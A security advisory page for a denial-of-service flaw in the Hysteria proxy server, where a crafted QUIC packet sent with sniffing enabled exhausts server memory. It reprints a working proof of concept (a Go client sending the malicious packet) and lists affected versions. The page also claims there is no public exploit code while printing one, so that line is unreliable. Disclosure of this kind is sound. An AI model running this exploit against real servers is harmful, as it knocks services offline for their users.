# GHSA-9fw6-xgg2-mq9q: Hysteria: A specially constructed quic package can crash the server OOM when the sniff is enabled

> An authenticated attacker can crash the Hysteria server via OOM by sending a crafted QUIC packet when sniffing is enabled.

- **Severity:** Not scored
- **Exploited in the wild:** Not known
- **Login needed:** Any signed-in user
- **Attackable:** Over the internet
- **Victim action needed:** Not needed
- **Fix available:** No
- **Published:** 5 May 2026
- **Also known as:** GO-2026-5288

## What is GHSA-9fw6-xgg2-mq9q?

GHSA-9fw6-xgg2-mq9q is a denial of service vulnerability in github.com/apernet/hysteria/core, published on 5 May 2026. Any signed-in user can exploit it over the network, with no action from the victim.

### Official description

### Summary

A specially constructed quic package can crash the server OOM when the sniff is enabled.

### Details

When the server has sniff enabled, a valid connection can request the server to forward UDP traffic and construct a huge crypto length. The server will allocate memory according to this length, causing an OOM.

### PoC
```
openssl req -x509 -newkey rsa:2048 -nodes -keyout localhost.key -out localhost.crt -days 365 -subj "/CN=localhost" 2>/dev/null
```

server.yaml
```
listen: :8443
tls:
  cert: localhost.crt
  key: localhost.key
auth:
  type: password
  password: mypassword
sniff:
  enable: true
outbounds:
  - name: my_direct
    type: direct
    default: true
```

poc.go

```
package main

import (
	"flag"
	"fmt"
	"log"
	"net"
	"time"

	"github.com/apernet/hysteria/core/v2/client"
)

func main() {
	serverAddrStr := flag.String("server", "127.0.0.1:8443", "Hysteria server address")
	password := flag.String("password", "mypassword", "Hysteria server password")
	flag.Parse()

	serverAddr, _ := net.ResolveUDPAddr("udp", *serverAddrStr)
	c, _, err := client.NewClient(&client.Config{
		ServerAddr: serverAddr, Auth: *password, TLSConfig: client.TLSConfig{InsecureSkipVerify: true},
	})
	if err != nil {
		log.Fatalf("Failed to connect: %v", err)
	}
	defer c.Close()
                                                                                                                
	var maliciousQUICPacket = []byte{                                                                                                                                                                         
		0xcb, 0x0, 0x0, 0x0, 0x1, 0x8, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x0, 0x0,                                                                                                              
		0x32, 0x1d, 0xa8, 0xd6, 0x3c, 0x51, 0x24, 0xb7, 0xbe, 0xf2, 0x91, 0x77, 0x1c, 0x9d, 0x66,                                                                                                             
		0xfc, 0xab, 0x91, 0x1e, 0xaf, 0xf9, 0x14, 0xd5, 0xec, 0xb0, 0x74, 0x46, 0x4f, 0x4, 0x70,                                                                                                              
		0x18, 0x35, 0x31, 0xc5, 0xea, 0x36, 0x40, 0x36, 0x65, 0xdf, 0xa4, 0xcc, 0xf9, 0xff, 0x65,                                                                                                             
		0xe5, 0x1d, 0xb7, 0xc5, 0xc2, 0xc2,                                                                                                                                                                   
	} 

	udpConn, err := c.UDP()
	if err != nil {
		fmt.Printf("[-] UDP error: %v\n", err)
	}
	targetAddr := fmt.Sprintf("8.8.8.8:443")
	fmt.Printf("[*] Sending 'death' packet to %s...\n", targetAddr)
	_ = udpConn.Send(maliciousQUICPacket, targetAddr)

	// Wait longer to ensure packet delivery
	time.Sleep(3 * time.Second)
	fmt.Printf("[+] Done.\n")
}
```

### Impact
When sniffing is enabled on the server, a user with a valid password can launch an attack that could cause the server to run out of memory (OOM).

## Which versions are affected by GHSA-9fw6-xgg2-mq9q?

4 open source packages ship an affected version, including github.com/apernet/hysteria/core/v2 and github.com/apernet/hysteria/core.


| Package | Ecosystem | Affected | Fixed in |
| --- | --- | --- | --- |
| `github.com/apernet/hysteria/core/v2` | Go | All versions | None |
| `github.com/apernet/hysteria/core/v2` | Go | All versions to 2.8.1 | None |
| `github.com/apernet/hysteria/core/v2` | Go | All versions to 2.8.1 | None |
| `github.com/apernet/hysteria/core` | Go | All versions | None |

## How do I fix GHSA-9fw6-xgg2-mq9q?

No fix has been published for GHSA-9fw6-xgg2-mq9q yet. Limit exposure of the affected software until one is available.

## Is GHSA-9fw6-xgg2-mq9q being exploited?

There is no known exploitation of GHSA-9fw6-xgg2-mq9q in the wild and no public exploit code.

## Fix prompt for AI coding agents

```text
Check this codebase for GHSA-9fw6-xgg2-mq9q and fix it if it is affected.

What it is: GHSA-9fw6-xgg2-mq9q is a denial of service vulnerability in github.com/apernet/hysteria/core, published on 5 May 2026. Any signed-in user can exploit it over the network, with no action from the victim.
Exploitation: There is no known exploitation of GHSA-9fw6-xgg2-mq9q in the wild and no public exploit code.

Affected packages and fixed versions:
- github.com/apernet/hysteria/core/v2 (Go): affected all versions; no fix listed
- github.com/apernet/hysteria/core/v2 (Go): affected all versions up to 2.8.1; no fix listed
- github.com/apernet/hysteria/core/v2 (Go): affected all versions up to 2.8.1; no fix listed
- github.com/apernet/hysteria/core (Go): affected all versions; no fix listed

Task:
1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.
2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.
3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.
4. Run the tests and summarise what changed and why.
5. If nothing in the project is affected, say so and change nothing.

Reference: https://insights.sbomify.com/GHSA-9fw6-xgg2-mq9q/ (Markdown: https://insights.sbomify.com/GHSA-9fw6-xgg2-mq9q/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/GHSA-9fw6-xgg2-mq9q

---
From sbomify Insights: https://insights.sbomify.com/GHSA-9fw6-xgg2-mq9q/
Summaries are generated and may contain mistakes; the official description above is the record.
